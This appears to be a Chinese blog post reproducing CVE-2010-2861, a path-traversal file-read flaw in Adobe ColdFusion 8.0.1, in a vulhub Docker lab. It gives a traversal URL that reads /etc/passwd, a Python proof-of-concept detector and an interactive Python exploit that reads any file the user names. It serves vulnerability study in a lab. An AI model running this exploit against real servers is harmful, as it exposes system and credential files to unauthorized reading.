Adobe ColdFusion 文件读取漏洞(CVE-2010-2861)复现,python编写POC和EXP

环境搭建:

使用vulhub,进入对应文件夹启动Adobe CanFusion 8.0.1版本服务器:


[root@localhost ~]# cd /home/vulhub-master/coldfusion/CVE-2010-2861/
[root@localhost CVE-2010-2861]# docker-compose up -d

查看端口:

[root@localhost ~]# docker ps
CONTAINER ID   IMAGE                           COMMAND                  CREATED        STATUS        PORTS                                                 NAMES
781868f36616   vulhub/coldfusion:8.0.1         "bash -c '/opt/coldf…"   24 hours ago   Up 24 hours   0.0.0.0:8500->8500/tcp, :::8500->8500/tcp             cve-2010-2861_coldfusion_1

环境启动可能需要1~5分钟,启动后,访问http://your-ip:8500/CFIDE/administrator/enter.cfm,可以查看初始化页面,输入密码admin,开始初始化整个环境。

漏洞复现:
直接访问http://your-ip:8500/CFIDE/administrator/enter.cfm?locale=…/…/…/…/…/…/…/…/…/…/etc/passwd%00en,Burp Suite查看文件,读取文件/etc/passwd:

在这里插入图片描述

POC编写:

import requests  

url = "http://192.168.33.170:8500/"  #url地址
poc = "CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en"  #读取/etc/passwd

res = requests.get(url+poc)  #发送请求
if  "/bin/bash"  in  res.text and res.status_code == 200: #利用 "/bin/bash" 特征和响应 200 判断
    print("CVE-2010-2861 存在")

pycharm运行结果:在这里插入图片描述

EXP编写:

import requests,re


url = "http://192.168.33.170:8500/"  #url地址
poc = "CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../etc/passwd%00en"  #读取/etc/passwd

res = requests.get(url+poc)  #发送请求
if  "/bin/bash"  in  res.text and res.status_code == 200: #利用 "/bin/bash" 特征和响应 200 判断
    print("CVE-2010-2861 存在")

    while 1:  # EXP死循环
        dir = input("请输入你要读取的文件:")
        exp_res = requests.get(res.url.replace("/etc/passwd",dir))  #将要读取的/etc/passwd目录文件替换成输入的目录文件
        print(re.findall("<title>([\s\S]*?)</title>",exp_res.text))  #利用正则输出匹配的结果

pycharm运行结果:
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值